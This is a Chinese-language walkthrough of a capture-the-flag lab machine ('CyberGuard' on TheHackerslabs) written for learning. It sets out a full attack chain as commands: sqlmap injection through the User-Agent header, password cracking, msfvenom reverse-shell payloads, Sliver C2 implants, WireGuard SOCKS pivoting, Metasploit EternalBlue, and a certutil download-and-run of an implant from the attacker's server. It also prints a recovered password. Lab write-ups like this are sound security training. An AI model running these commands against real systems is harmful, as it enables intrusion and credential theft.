TheHackerslabs - CyberGuard Writeup
字数 1970 2025-09-01 11:26:02
CyberGuard 靶机渗透测试教学文档
1. 靶机概述
- 难度等级: 专业级 (experto)
- 靶机链接: https://labs.thehackerslabs.com/machine/25
- 网络拓扑:
- 1台路由器/防火墙
- 3台内网主机
- 主要技术点: SQL注入、Sliver C2框架、代理搭建、MSF (Metasploit)、MS17_010 (永恒之蓝)
2. 信息收集阶段
2.1 端口扫描
使用nmap进行初始扫描:
nmap -T4 -p- -A <target_ip>
发现:
- 80端口运行Nginx
- 操作系统: FreeBSD 11.2
2.2 目录爆破
使用gobuster进行目录枚举:
gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt
注意: 长时间扫描会被ban
3. SQL注入利用
3.1 发现注入点
- URL结构:
xxxx/search?query= - 注入点不在GET参数中,而是在User-Agent头中
- 使用sqlmap进行自动化测试:
sqlmap -u "http://<target_ip>/search?query=test" --level=3 --risk=3
--level参数确保测试User-Agent、Cookie和Referer等HTTP头
3.2 数据提取
dump所有数据库数据:
sqlmap -u "http://<target_ip>/search?query=test" --level=3 --risk=3 --dump-all
获取到bcrypt算法加密的密码hash: $2y$...
3.3 密码破解
使用John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
或使用hashcat:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
破解得到明文密码: killer
4. 后台利用
4.1 登录后台
使用凭证killer成功登录后台
4.2 发现命令执行功能
后台存在命令执行功能点,测试命令执行:
whoami
cat /etc/passwd
确认存在用户ian
4.3 反弹Shell尝试
尝试1: 传统方法
- 使用nc和/bin/bash反弹失败
- 尝试上传webshell但无法反弹
尝试2: Metasploit
- 生成elf格式payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f elf -o sunset
- 上传并执行:
chmod +x sunset
./sunset
- MSF监听失败,可能被防火墙阻止
5. 使用Sliver C2框架
5.1 Sliver简介
Sliver是一个开源的跨平台红队框架,支持:
- mTLS
- WireGuard
- HTTP(S)
- DNS C2通信
官网: https://github.com/BishopFox/sliver
5.2 生成并执行植入物
- 启动Sliver服务器
- 生成Linux x64植入物:
generate --mtls <your_ip> --os linux --arch amd64 --format elf
- 上传并执行生成的二进制文件
5.3 建立Shell会话
- 使用
shell命令进入交互式shell - 使用
info查看连接信息(通常走53/DNS端口)
6. 内网渗透
6.1 信息收集
- 查找数据库配置文件
databases.php - 发现数据库凭证存储在环境变量中
- 获取密码:
ZqBHR4MZ<f*+bv(J - 确认密码属于用户
ian - 发现内网网段:
10.20.30.0/24
6.2 代理搭建
使用Sliver的WireGuard SOCKS5代理功能:
- 生成WireGuard配置:
wg-config
- 保存配置到
/etc/wireguard/wgsocks.conf - 启动WireGuard连接:
wg-quick up wgsocks
- 在Sliver中启动SOCKS服务:
wg-socks
- 配置proxychains:
vim /etc/proxychains4.conf
添加:
socks5 127.0.0.1 1080
6.3 内网扫描
使用fscan扫描内网:
./fscan -h 10.20.30.1-255
发现10.20.30.3存在MS17-010漏洞
7. 永恒之蓝(MS17-010)利用
7.1 通过代理使用MSF
- 启动msfconsole通过代理:
proxychains msfconsole
- 搜索MS17-010模块:
search ms17_010
- 使用检测模块确认漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.20.30.3
run
- 使用攻击模块:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.20.30.3
run
- 获取system权限
7.2 获取flag
直接读取root.txt
8. 其他主机渗透
8.1 Windows主机(10.20.30.11)
- 生成Windows植入物:
generate --mtls <your_ip> --os windows --arch amd64 --format exe -o LONG_PRIVATE.exe
- 在攻击机启动HTTP服务:
python3 -m http.server 80
- 在目标机下载并执行:
certutil.exe -urlcache -f http://<your_ip>/LONG_PRIVATE.exe c:\LONG_PRIVATE.exe
c:\LONG_PRIVATE.exe
- 获取shell
8.2 预期解(官方WP)
- 在Linux主机监听数据包获取Victor用户的Net-NTLM-hash
- 使用certipy攻击ADCS (Active Directory Certificate Services)
9. 总结
关键学习点
-
SQL注入检测:
- 不局限于GET/POST参数,注意HTTP头注入
- sqlmap的level参数对结果影响重大
-
绕过防火墙限制:
- 传统反弹shell方法可能被阻止
- 使用Sliver等高级C2框架的替代协议(DNS/WireGuard)
-
内网渗透技术:
- 代理搭建是内网渗透的关键
- 使用fscan等工具快速识别内网漏洞
-
漏洞利用:
- MS17-010在内网中仍然常见
- 通过代理使用Metasploit等工具
-
横向移动:
- 密码重用是常见问题
- 注意收集所有可能的凭证
改进建议
- 尝试官方预期解(ADCS攻击)
- 探索内网中未攻破的主机
- 尝试其他横向移动方法(如Pass the Hash)
通过本靶机,可以全面练习从外网渗透到内网横向移动的完整攻击链,特别适合提升专业级渗透测试技能。